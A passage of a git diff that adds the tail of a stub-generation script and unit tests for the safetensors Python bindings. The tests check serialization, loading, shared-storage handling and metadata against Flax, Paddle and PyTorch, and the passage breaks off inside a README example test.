is_auto = True + else: + with open(filename, "r") as f: + line = f.readline() + if line == GENERATED_COMMENT: + is_auto = True + + if is_auto: + if check: + with open(filename, "r") as f: + data = f.read() + assert data == py_content, f"The content of {filename} seems outdated, please run `python stub.py`" + else: + with open(filename, "w") as f: + f.write(py_content) + + for name, submodule in submodules: + write(submodule, os.path.join(directory, name), f"{name}", check=check) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("--check", action="store_true") + + args = parser.parse_args() + import safetensors + + write(safetensors.safetensors_rust, "py_src/safetensors/", "safetensors", check=args.check) diff --git a/extensions/safetensors/bindings/python/tests/data/__init__.py b/extensions/safetensors/bindings/python/tests/data/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/extensions/safetensors/bindings/python/tests/test_flax_comparison.py b/extensions/safetensors/bindings/python/tests/test_flax_comparison.py new file mode 100644 index 0000000000000000000000000000000000000000..fcb0db5d2074357d63d86285773f5c923056ec77 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_flax_comparison.py @@ -0,0 +1,68 @@ +import platform +import unittest + +import numpy as np + + +if platform.system() != "Windows": + # This platform is not supported, we don't want to crash on import + # This test will be skipped anyway. + import jax.numpy as jnp + from flax.serialization import msgpack_restore, msgpack_serialize + from safetensors import safe_open + from safetensors.flax import load_file, save_file + + +# Jax doesn't not exist on Windows +@unittest.skipIf(platform.system() == "Windows", "Flax is not available on Windows") +class LoadTestCase(unittest.TestCase): + def setUp(self): + data = { + "test": jnp.zeros((1024, 1024), dtype=jnp.float32), + "test2": jnp.zeros((1024, 1024), dtype=jnp.float32), + "test3": jnp.zeros((1024, 1024), dtype=jnp.float32), + } + self.flax_filename = "./tests/data/flax_load.msgpack" + self.sf_filename = "./tests/data/flax_load.safetensors" + + serialized = msgpack_serialize(data) + with open(self.flax_filename, "wb") as f: + f.write(serialized) + + save_file(data, self.sf_filename) + + def test_zero_sized(self): + data = { + "test": jnp.zeros((2, 0), dtype=jnp.float32), + } + local = "./tests/data/out_safe_flat_mmap_small2.safetensors" + save_file(data.copy(), local) + reloaded = load_file(local) + # Empty tensor != empty tensor on numpy, so comparing shapes + # instead + self.assertEqual(data["test"].shape, reloaded["test"].shape) + + def test_deserialization_safe(self): + weights = load_file(self.sf_filename) + + with open(self.flax_filename, "rb") as f: + data = f.read() + flax_weights = msgpack_restore(data) + + for k, v in weights.items(): + tv = flax_weights[k] + self.assertTrue(np.allclose(v, tv)) + + def test_deserialization_safe_open(self): + weights = {} + with safe_open(self.sf_filename, framework="flax") as f: + for k in f.keys(): + weights[k] = f.get_tensor(k) + + with open(self.flax_filename, "rb") as f: + data = f.read() + flax_weights = msgpack_restore(data) + + for k, v in weights.items(): + tv = flax_weights[k] + self.assertTrue(np.allclose(v, tv)) diff --git a/extensions/safetensors/bindings/python/tests/test_paddle_comparison.py b/extensions/safetensors/bindings/python/tests/test_paddle_comparison.py new file mode 100644 index 0000000000000000000000000000000000000000..2b3b7f32e8881ff48304637c6694c592374be766 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_paddle_comparison.py @@ -0,0 +1,40 @@ +import unittest + +import numpy as np + +import paddle +from safetensors.paddle import load_file, save_file + + +class SafeTestCase(unittest.TestCase): + def setUp(self): + data = { + "test": paddle.zeros((1024, 1024), dtype=paddle.float32), + "test2": paddle.zeros((1024, 1024), dtype=paddle.float32), + "test3": paddle.zeros((1024, 1024), dtype=paddle.float32), + } + self.paddle_filename = "./tests/data/paddle_load.pdparams" + self.sf_filename = "./tests/data/paddle_load.safetensors" + + paddle.save(data, self.paddle_filename) + save_file(data, self.sf_filename) + + @unittest.expectedFailure + def test_zero_sized(self): + # This fails because paddle wants initialized tensor before + # sending to numpy + data = { + "test": paddle.zeros((2, 0), dtype=paddle.float32), + } + local = "./tests/data/out_safe_paddle_mmap_small2.safetensors" + save_file(data, local) + reloaded = load_file(local) + self.assertTrue(paddle.equal(data["test"], reloaded["test"])) + + def test_deserialization_safe(self): + weights = load_file(self.sf_filename) + + paddle_weights = paddle.load(self.paddle_filename) + for k, v in weights.items(): + tv = paddle_weights[k] + self.assertTrue(np.allclose(v, tv)) diff --git a/extensions/safetensors/bindings/python/tests/test_pt_comparison.py b/extensions/safetensors/bindings/python/tests/test_pt_comparison.py new file mode 100644 index 0000000000000000000000000000000000000000..cb1a9f577a62fed82e24d3845914e8b8107aa7e3 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_pt_comparison.py @@ -0,0 +1,275 @@ +import sys +import unittest + +import torch + +from safetensors import safe_open +from safetensors.torch import load, load_file, save, save_file + + +class TorchTestCase(unittest.TestCase): + def test_serialization(self): + data = torch.zeros((2, 2), dtype=torch.int32) + out = save({"test": data}) + + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + + save_file({"test": data}, "serialization.safetensors") + out = open("serialization.safetensors", "rb").read() + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + + data[1, 1] = 1 + out = save({"test": data}) + + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", + ) + save_file({"test": data}, "serialization.safetensors") + out = open("serialization.safetensors", "rb").read() + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", + ) + + def test_odd_dtype(self): + data = { + "test": torch.zeros((2, 2), dtype=torch.bfloat16), + "test2": torch.zeros((2, 2), dtype=torch.float16), + "test3": torch.zeros((2, 2), dtype=torch.bool), + } + local = "./tests/data/out_safe_pt_mmap_small.safetensors" + + save_file(data, local) + reloaded = load_file(local) + self.assertTrue(torch.equal(data["test"], reloaded["test"])) + self.assertTrue(torch.equal(data["test2"], reloaded["test2"])) + self.assertTrue(torch.equal(data["test3"], reloaded["test3"])) + + def test_zero_sized(self): + data = { + "test": torch.zeros((2, 0), dtype=torch.float), + } + local = "./tests/data/out_safe_pt_mmap_small2.safetensors" + save_file(data, local) + reloaded = load_file(local) + self.assertTrue(torch.equal(data["test"], reloaded["test"])) + + def test_multiple_zero_sized(self): + data = { + "test": torch.zeros((2, 0), dtype=torch.float), + "test2": torch.zeros((2, 0), dtype=torch.float), + } + local = "./tests/data/out_safe_pt_mmap_small3.safetensors" + save_file(data, local) + reloaded = load_file(local) + self.assertTrue(torch.equal(data["test"], reloaded["test"])) + self.assertTrue(torch.equal(data["test2"], reloaded["test2"])) + + def test_disjoint_tensors_shared_storage(self): + A = torch.zeros((10, 10)) + data = { + "test": A[1:], + "test2": A[:1], + } + local = "./tests/data/out_safe_pt_mmap_small4.safetensors" + save_file(data, local) + + def test_meta_tensor(self): + A = torch.zeros((10, 10), device=torch.device("meta")) + data = { + "test": A, + } + local = "./tests/data/out_safe_pt_mmap_small5.safetensors" + with self.assertRaises(RuntimeError) as ex: + save_file(data, local) + self.assertIn("Cannot copy out of meta tensor", str(ex.exception)) + + def test_in_memory(self): + data = { + "test": torch.zeros((2, 2), dtype=torch.float32), + } + binary = save(data) + self.assertEqual( + binary, + # Spaces are for forcing the alignment. + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"F32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + reloaded = load(binary) + self.assertTrue(torch.equal(data["test"], reloaded["test"])) + + @unittest.skipIf(not torch.cuda.is_available(), "Cuda is not available") + def test_gpu(self): + data = { + "test": torch.arange(4).view((2, 2)).to("cuda:0"), + } + local = "./tests/data/out_safe_pt_mmap_small.safetensors" + save_file(data, local) + reloaded = load_file(local) + self.assertTrue(torch.equal(torch.arange(4).view((2, 2)), reloaded["test"])) + + def test_sparse(self): + data = {"test": torch.sparse_coo_tensor(size=(2, 3))} + local = "./tests/data/out_safe_pt_sparse.safetensors" + with self.assertRaises(ValueError) as ctx: + save_file(data, local) + self.assertEqual( + str(ctx.exception), + "You are trying to save a sparse tensors: `['test']` which this library does not support. You can make it" + " a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than" + " needed.", + ) + + def test_bogus(self): + data = {"test": {"some": "thing"}} + local = "./tests/data/out_safe_pt_sparse.safetensors" + with self.assertRaises(ValueError) as ctx: + save_file(data, local) + self.assertEqual( + str(ctx.exception), + "Key `test` is invalid, expected torch.Tensor but received ", + ) + + with self.assertRaises(ValueError) as ctx: + save_file("notadict", local) + self.assertEqual( + str(ctx.exception), + "Expected a dict of [str, torch.Tensor] but received ", + ) + + +class LoadTestCase(unittest.TestCase): + def setUp(self): + data = { + "test": torch.zeros((1024, 1024), dtype=torch.float32), + "test2": torch.zeros((1024, 1024), dtype=torch.float32), + "test3": torch.zeros((1024, 1024), dtype=torch.float32), + } + self.pt_filename = "./tests/data/pt_load.pt" + self.sf_filename = "./tests/data/pt_load.safetensors" + + with open(self.pt_filename, "wb") as f: + torch.save(data, f) + + save_file(data, self.sf_filename) + + def test_deserialization_safe(self): + tweights = torch.load(self.pt_filename) + weights = load_file(self.sf_filename) + + for k, v in weights.items(): + tv = tweights[k] + self.assertTrue(torch.allclose(v, tv)) + self.assertEqual(v.device, torch.device("cpu")) + + @unittest.skipIf(not torch.cuda.is_available(), "Cuda is not available") + def test_deserialization_safe_gpu(self): + # First time to hit disk + tweights = torch.load(self.pt_filename, map_location="cuda:0") + + load_file(self.sf_filename, device=0) + weights = load_file(self.sf_filename, device="cuda:0") + + for k, v in weights.items(): + tv = tweights[k] + self.assertTrue(torch.allclose(v, tv)) + self.assertEqual(v.device, torch.device("cuda:0")) + + @unittest.skipIf(not torch.cuda.is_available(), "Cuda is not available") + def test_deserialization_safe_gpu_slice(self): + weights = {} + with safe_open(self.sf_filename, framework="pt", device="cuda:0") as f: + for k in f.keys(): + weights[k] = f.get_slice(k)[:1] + tweights = torch.load(self.pt_filename, map_location="cuda:0") + tweights = {k: v[:1] for k, v in tweights.items()} + for k, v in weights.items(): + tv = tweights[k] + self.assertTrue(torch.allclose(v, tv)) + self.assertEqual(v.device, torch.device("cuda:0")) + + @unittest.skipIf(torch.cuda.device_count() < 2, "Only 1 device available") + def test_deserialization_safe_device_1(self): + load_file(self.sf_filename, device=1) + weights = load_file(self.sf_filename, device="cuda:1") + tweights = torch.load(self.pt_filename, map_location="cuda:1") + for k, v in weights.items(): + tv = tweights[k] + self.assertTrue(torch.allclose(v, tv)) + self.assertEqual(v.device, torch.device("cuda:1")) + + +class SliceTestCase(unittest.TestCase): + def setUp(self): + self.tensor = torch.arange(6, dtype=torch.float32).reshape((1, 2, 3)) + self.data = {"test": self.tensor} + self.local = "./tests/data/out_safe_pt_mmap_slice.safetensors" + # Need to copy since that call mutates the tensors to numpy + save_file(self.data.copy(), self.local) + + def test_cannot_serialize_a_non_contiguous_tensor(self): + tensor = torch.arange(6, dtype=torch.float32).reshape((1, 2, 3)) + x = tensor[:, :, 1] + data = {"test": x} + self.assertFalse( + x.is_contiguous(), + ) + with self.assertRaises(ValueError): + save_file(data, "./tests/data/out.safetensors") + + def test_cannot_serialize_shared(self): + A = torch.arange(6, dtype=torch.float32).reshape((2, 3)) + B = A[:1] + data = {"A": A, "B": B} + with self.assertRaises(RuntimeError): + save_file(data, "./tests/data/out.safetensors") + + B = A[1:] + data = {"A": A, "B": B} + with self.assertRaises(RuntimeError): + save_file(data, "./tests/data/out.safetensors") + + def test_deserialization_slice(self): + with safe_open(self.local, framework="pt") as f: + _slice = f.get_slice("test") + self.assertEqual(_slice.get_shape(), [1, 2, 3]) + self.assertEqual(_slice.get_dtype(), "F32") + tensor = _slice[:, :, 1:2] + + self.assertTrue(torch.equal(tensor, torch.Tensor([[[1.0], [4.0]]]))) + self.assertTrue(torch.equal(tensor, self.tensor[:, :, 1:2])) + + buffer = tensor.numpy() + if sys.byteorder == "big": + buffer.byteswap(inplace=True) + buffer = buffer.tobytes() + self.assertEqual( + buffer, + b"\x00\x00\x80?\x00\x00\x80@", + ) + + def test_deserialization_metadata(self): + with safe_open(self.local, framework="pt") as f: + metadata = f.metadata() + self.assertEqual(metadata, None) + + # Save another one *with* metadata + tensor = torch.arange(6, dtype=torch.float32).reshape((1, 2, 3)) + data = {"test": tensor} + local = "./tests/data/out_safe_pt_mmap2.safetensors" + # Need to copy since that call mutates the tensors to numpy + save_file(data, local, metadata={"Something": "more"}) + with safe_open(local, framework="pt") as f: + metadata = f.metadata() + self.assertEqual(metadata, {"Something": "more"}) diff --git a/extensions/safetensors/bindings/python/tests/test_pt_model.py b/extensions/safetensors/bindings/python/tests/test_pt_model.py new file mode 100644 index 0000000000000000000000000000000000000000..7614c33b3e5b51533700173749234010f4740147 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_pt_model.py @@ -0,0 +1,278 @@ +import copy +import unittest + +import torch + +from safetensors import safe_open +from safetensors.torch import ( + _end_ptr, + _find_shared_tensors, + _is_complete, + _remove_duplicate_names, + load_model, + save_file, + save_model, +) + + +class OnesModel(torch.nn.Module): + def __init__(self): + super().__init__() + self.a = torch.nn.Linear(4, 4) + self.a.weight = torch.nn.Parameter(torch.ones((4, 4))) + self.a.bias = torch.nn.Parameter(torch.ones((4,))) + self.b = self.a + + +class Model(torch.nn.Module): + def __init__(self): + super().__init__() + self.a = torch.nn.Linear(100, 100) + self.b = self.a + + +class NonContiguousModel(torch.nn.Module): + def __init__(self): + super().__init__() + self.a = torch.nn.Linear(100, 100) + A = torch.zeros((100, 100)) + A = A.transpose(0, 1) + self.a.weight = torch.nn.Parameter(A) + + +class CopyModel(torch.nn.Module): + def __init__(self): + super().__init__() + self.a = torch.nn.Linear(100, 100) + self.b = copy.deepcopy(self.a) + + +class NoSharedModel(torch.nn.Module): + def __init__(self): + super().__init__() + self.a = torch.nn.Linear(100, 100) + self.b = torch.nn.Linear(100, 100) + + +class TorchModelTestCase(unittest.TestCase): + def test_is_complete(self): + A = torch.zeros((3, 3)) + self.assertTrue(_is_complete(A)) + + B = A[:1, :] + self.assertFalse(_is_complete(B)) + + # Covers the whole storage but with holes + C = A[::2, :] + self.assertFalse(_is_complete(C)) + + D = torch.zeros((2, 2), device=torch.device("meta")) + self.assertTrue(_is_complete(D)) + + def test_find_shared_tensors(self): + A = torch.zeros((3, 3)) + B = A[:1, :] + + self.assertEqual(_find_shared_tensors({"A": A, "B": B}), [{"A", "B"}]) + self.assertEqual(_find_shared_tensors({"A": A}), [{"A"}]) + self.assertEqual(_find_shared_tensors({"B": B}), [{"B"}]) + + C = torch.zeros((2, 2), device=torch.device("meta")) + D = C[:1] + # Meta device is not shared + self.assertEqual(_find_shared_tensors({"C": C, "D": D}), []) + self.assertEqual(_find_shared_tensors({"C": C}), []) + self.assertEqual(_find_shared_tensors({"D": D}), []) + + def test_find_shared_non_shared_tensors(self): + A = torch.zeros((4,)) + B = A[:2] + C = A[2:] + # Shared storage but do not overlap + self.assertEqual(_find_shared_tensors({"B": B, "C": C}), [{"B"}, {"C"}]) + + B = A[:2] + C = A[1:] + # Shared storage but *do* overlap + self.assertEqual(_find_shared_tensors({"B": B, "C": C}), [{"B", "C"}]) + + B = A[:2] + C = A[2:] + D = A[:1] + # Shared storage but *do* overlap + self.assertEqual(_find_shared_tensors({"B": B, "C": C, "D": D}), [{"B", "D"}, {"C"}]) + + def test_end_ptr(self): + A = torch.zeros((4,)) + start = A.data_ptr() + end = _end_ptr(A) + self.assertEqual(end - start, 16) + B = torch.zeros((16,)) + A = B[::4] + start = A.data_ptr() + end = _end_ptr(A) + # Jump 3 times 16 byes (the stride of B) + # Then add the size of the datapoint 4 bytes + self.assertEqual(end - start, 16 * 3 + 4) + + # FLOAT16 + A = torch.zeros((4,), dtype=torch.float16) + start = A.data_ptr() + end = _end_ptr(A) + self.assertEqual(end - start, 8) + B = torch.zeros((16,), dtype=torch.float16) + A = B[::4] + start = A.data_ptr() + end = _end_ptr(A) + # Jump 3 times 8 bytes (the stride of B) + # Then add the size of the datapoint 4 bytes + self.assertEqual(end - start, 8 * 3 + 2) + + def test_remove_duplicate_names(self): + A = torch.zeros((3, 3)) + B = A[:1, :] + + self.assertEqual(_remove_duplicate_names({"A": A, "B": B}), {"A": ["B"]}) + self.assertEqual(_remove_duplicate_names({"A": A, "B": B, "C": A}), {"A": ["B", "C"]}) + with self.assertRaises(RuntimeError): + self.assertEqual(_remove_duplicate_names({"B": B}), []) + + def test_failure(self): + model = Model() + with self.assertRaises(RuntimeError): + save_file(model.state_dict(), "tmp.safetensors") + + # def test_workaround_refuse(self): + # model = Model() + # A = torch.zeros((1000, 10)) + # a = A[:100, :] + # model.a.weight = torch.nn.Parameter(a) + # with self.assertRaises(RuntimeError) as ctx: + # save_model(model, "tmp4.safetensors") + # self.assertIn(".Refusing to save/load the model since you could be storing much more memory than needed.", str(ctx.exception)) + + def test_save(self): + # Just testing the actual saved file to make sure we're ok on big endian + model = OnesModel() + save_model(model, "tmp_ones.safetensors") + with safe_open("tmp_ones.safetensors", framework="pt") as f: + self.assertEqual(f.metadata(), {"b.bias": "a.bias", "b.weight": "a.weight"}) + + # 192 hardcoded to skip the header, metadata order is random. + self.assertEqual( + open("tmp_ones.safetensors", "rb").read()[192:], + b"""\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?""", + ) + + model2 = OnesModel() + load_model(model2, "tmp_ones.safetensors") + + state_dict = model.state_dict() + for k, v in model2.state_dict().items(): + torch.testing.assert_close(v, state_dict[k]) + + def test_workaround(self): + model = Model() + save_model(model, "tmp.safetensors") + with safe_open("tmp.safetensors", framework="pt") as f: + self.assertEqual(f.metadata(), {"b.bias": "a.bias", "b.weight": "a.weight"}) + + model2 = Model() + load_model(model2, "tmp.safetensors") + + state_dict = model.state_dict() + for k, v in model2.state_dict().items(): + torch.testing.assert_close(v, state_dict[k]) + + def test_workaround_works_with_different_on_file_names(self): + model = Model() + state_dict = model.state_dict() + state_dict.pop("a.weight") + state_dict.pop("a.bias") + save_file(state_dict, "tmp.safetensors") + + model2 = Model() + load_model(model2, "tmp.safetensors") + + state_dict = model.state_dict() + for k, v in model2.state_dict().items(): + torch.testing.assert_close(v, state_dict[k]) + + def test_workaround_non_contiguous(self): + model = NonContiguousModel() + + with self.assertRaises(ValueError) as ctx: + save_model(model, "tmp_c.safetensors", force_contiguous=False) + self.assertIn("use save_model(..., force_contiguous=True)", str(ctx.exception)) + save_model(model, "tmp_c.safetensors", force_contiguous=True) + + model2 = NonContiguousModel() + load_model(model2, "tmp_c.safetensors") + + state_dict = model.state_dict() + for k, v in model2.state_dict().items(): + torch.testing.assert_close(v, state_dict[k]) + + def test_workaround_copy(self): + model = CopyModel() + self.assertEqual( + _find_shared_tensors(model.state_dict()), [{"a.weight"}, {"a.bias"}, {"b.weight"}, {"b.bias"}] + ) + save_model(model, "tmp.safetensors") + + model2 = CopyModel() + load_model(model2, "tmp.safetensors") + + state_dict = model.state_dict() + for k, v in model2.state_dict().items(): + torch.testing.assert_close(v, state_dict[k]) + + def test_difference_with_torch(self): + model = Model() + torch.save(model.state_dict(), "tmp2.bin") + + model2 = NoSharedModel() + # This passes on torch. + # The tensors are shared on disk, they are *not* shared within the model + # The model happily loads the tensors, and ends up *not* sharing the tensors by. + # doing copies + self.assertEqual( + _find_shared_tensors(model2.state_dict()), [{"a.weight"}, {"a.bias"}, {"b.weight"}, {"b.bias"}] + ) + model2.load_state_dict(torch.load("tmp2.bin")) + self.assertEqual( + _find_shared_tensors(model2.state_dict()), [{"a.weight"}, {"a.bias"}, {"b.weight"}, {"b.bias"}] + ) + + # However safetensors cannot save those, so we cannot + # reload the saved file with the different model + save_model(model, "tmp2.safetensors") + with self.assertRaises(RuntimeError) as ctx: + load_model(model2, "tmp2.safetensors") + self.assertIn("""Missing key(s) in state_dict: "b.bias", "b.weight""", str(ctx.exception)) + + def test_difference_torch_odd(self): + model = NoSharedModel() + a = model.a.weight + b = model.b.weight + self.assertNotEqual(a.data_ptr(), b.data_ptr()) + torch.save(model.state_dict(), "tmp3.bin") + + model2 = Model() + self.assertEqual(_find_shared_tensors(model2.state_dict()), [{"a.weight", "b.weight"}, {"b.bias", "a.bias"}]) + # Torch will affect either `b` or `a` to the shared tensor in the `model2` + model2.load_state_dict(torch.load("tmp3.bin")) + + # XXX: model2 uses only the B weight not the A weight anymore. + self.assertFalse(torch.allclose(model2.a.weight, model.a.weight)) + torch.testing.assert_close(model2.a.weight, model.b.weight) + self.assertEqual(_find_shared_tensors(model2.state_dict()), [{"a.weight", "b.weight"}, {"b.bias", "a.bias"}]) + + # Everything is saved as-is + save_model(model, "tmp3.safetensors") + # safetensors will yell that there were 2 tensors on disk, while + # the models expects only 1 tensor since both are shared. + with self.assertRaises(RuntimeError) as ctx: + load_model(model2, "tmp3.safetensors") + # Safetensors properly warns the user that some ke + self.assertIn("""Unexpected key(s) in state_dict: "b.bias", "b.weight""", str(ctx.exception)) diff --git a/extensions/safetensors/bindings/python/tests/test_simple.py b/extensions/safetensors/bindings/python/tests/test_simple.py new file mode 100644 index 0000000000000000000000000000000000000000..c46320c0eded8eaa2a206caf7fb6a2160c968260 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_simple.py @@ -0,0 +1,233 @@ +import os +import tempfile +import unittest +from pathlib import Path + +import numpy as np +import torch + +from safetensors import SafetensorError, safe_open, serialize +from safetensors.numpy import load, load_file, save, save_file +from safetensors.torch import _find_shared_tensors +from safetensors.torch import load_file as load_file_pt +from safetensors.torch import save_file as save_file_pt +from safetensors.torch import storage_ptr, storage_size + + +class TestCase(unittest.TestCase): + def test_serialization(self): + data = np.zeros((2, 2), dtype=np.int32) + out = save({"test": data}) + + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + + save_file({"test": data}, "serialization.safetensors") + out = open("serialization.safetensors", "rb").read() + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + + data[1, 1] = 1 + out = save({"test": data}) + + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", + ) + save_file({"test": data}, "serialization.safetensors") + out = open("serialization.safetensors", "rb").read() + self.assertEqual( + out, + b'@\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}} ' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", + ) + + def test_deserialization(self): + serialized = b"""<\x00\x00\x00\x00\x00\x00\x00{"test":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""" + + out = load(serialized) + self.assertEqual(list(out.keys()), ["test"]) + np.testing.assert_array_equal(out["test"], np.zeros((2, 2), dtype=np.int32)) + + def test_deserialization_metadata(self): + serialized = ( + b'f\x00\x00\x00\x00\x00\x00\x00{"__metadata__":{"framework":"pt"},"test1":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}}' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + ) + + with tempfile.NamedTemporaryFile() as f: + f.write(serialized) + f.seek(0) + + with safe_open(f.name, framework="np") as g: + self.assertEqual(g.metadata(), {"framework": "pt"}) + + def test_serialization_order_invariant(self): + data = np.zeros((2, 2), dtype=np.int32) + out1 = save({"test1": data, "test2": data}) + out2 = save({"test2": data, "test1": data}) + self.assertEqual(out1, out2) + + def test_serialization_forces_alignment(self): + data = np.zeros((2, 2), dtype=np.int32) + data2 = np.zeros((2, 2), dtype=np.float16) + out1 = save({"test1": data, "test2": data2}) + out2 = save({"test2": data2, "test1": data}) + self.assertEqual(out1, out2) + self.assertEqual( + out1, + b'\x80\x00\x00\x00\x00\x00\x00\x00{"test1":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]},"test2":{"dtype":"F16","shape":[2,2],"data_offsets":[16,24]}}' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + self.assertEqual(out1[8:].index(b"\x00") + 8, 136) + self.assertEqual((out1[8:].index(b"\x00") + 8) % 8, 0) + + def test_serialization_metadata(self): + data = np.zeros((2, 2), dtype=np.int32) + out1 = save({"test1": data}, metadata={"framework": "pt"}) + self.assertEqual( + out1, + b'`\x00\x00\x00\x00\x00\x00\x00{"__metadata__":{"framework":"pt"},"test1":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}}' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + self.assertEqual(out1[8:].index(b"\x00") + 8, 104) + self.assertEqual((out1[8:].index(b"\x00") + 8) % 8, 0) + + def test_serialization_no_big_endian(self): + # Big endian tensor + data = np.zeros((2, 2), dtype=">i4") + out1 = save({"test1": data}, metadata={"framework": "pt"}) + self.assertEqual( + out1, + b'`\x00\x00\x00\x00\x00\x00\x00{"__metadata__":{"framework":"pt"},"test1":{"dtype":"I32","shape":[2,2],"data_offsets":[0,16]}}' + b" \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + ) + self.assertEqual(out1[8:].index(b"\x00") + 8, 104) + self.assertEqual((out1[8:].index(b"\x00") + 8) % 8, 0) + + def test_accept_path(self): + tensors = { + "a": torch.zeros((2, 2)), + "b": torch.zeros((2, 3), dtype=torch.uint8), + } + save_file_pt(tensors, Path("./out.safetensors")) + load_file_pt(Path("./out.safetensors")) + os.remove(Path("./out.safetensors")) + + def test_pt_sf_save_model_overlapping_storage(self): + m = torch.randn(10) + n = torch.empty([], dtype=m.dtype, device=m.device) + element_size = torch.finfo(m.dtype).bits // 8 + try: + smaller_storage = m.untyped_storage()[: 4 * element_size] + except Exception: + try: + # Fallback for torch>=1.13 + smaller_storage = m.storage().untyped()[: 4 * element_size] + except Exception: + try: + # Fallback for torch>=1.11 + smaller_storage = m.storage()._untyped()[: 4 * element_size] + except Exception: + # Fallback for torch==1.10 + smaller_storage = m.storage()[:4] + + n.set_(source=smaller_storage) + + # Check that we can have tensors with storage that have the same `data_ptr` but not the same storage size + self.assertEqual(storage_ptr(n), storage_ptr(m)) + self.assertNotEqual(storage_size(n), storage_size(m)) + self.assertEqual(storage_size(n), 4 * element_size) + self.assertEqual(storage_size(m), 10 * element_size) + + shared_tensors = _find_shared_tensors({"m": m, "n": n}) + self.assertEqual(shared_tensors, [{"m"}, {"n"}]) + + +class WindowsTestCase(unittest.TestCase): + def test_get_correctly_dropped(self): + tensors = { + "a": torch.zeros((2, 2)), + "b": torch.zeros((2, 3), dtype=torch.uint8), + } + save_file_pt(tensors, "./out.safetensors") + with safe_open("./out.safetensors", framework="pt") as f: + pass + + with self.assertRaises(SafetensorError): + print(f.keys()) + + with open("./out.safetensors", "w") as g: + g.write("something") + + +class ErrorsTestCase(unittest.TestCase): + def test_file_not_found(self): + with self.assertRaises(FileNotFoundError) as ctx: + with safe_open("notafile", framework="pt"): + pass + self.assertEqual(str(ctx.exception), 'No such file or directory: "notafile"') + + +class ReadmeTestCase(unittest.TestCase): + def assertTensorEqual(self, tensors1, tensors2, equality_fn): + self.assertEqual(tensors1.keys(), tensors2.keys(), "tensor keys don't match") + + for k, v1 in tensors1.items(): + v2 = tensors2[k] + + self.assertTrue(equality_fn(v1, v2), f"{k} tensors are different") + + def test_numpy_example(self): + tensors = {"a": np.zeros((2, 2)), "b": np.zeros((2, 3), dtype=np.uint8)} + + save_file(tensors, "./out.safetensors") + out = save(tensors) + + # Now loading + loaded = load_file("./out.safetensors") + self.assertTensorEqual(tensors, loaded, np.allclose) + + loaded = load(out) + self.assertTensorEqual(tensors, loaded, np.allclose) + + def test_numpy_bool(self): + tensors = {"a": np.asarray(False)} + + save_file(tensors, "./out_bool.safetensors") + out = save(tensors) + + # Now loading + loaded = load_file("./out_bool.safetensors") + self.assertTensorEqual(tensors, loaded, np.allclose) + + loaded = load(out) + self.assertTensorEqual(tensors, loaded, np.allclose) + + def test_torch_example(self): + tensors = { + "a": torch.zeros((2, 2)), + "b": torch.zeros((2, 3), dtype=torch.uint8), + } + # Saving modifies the tensors to 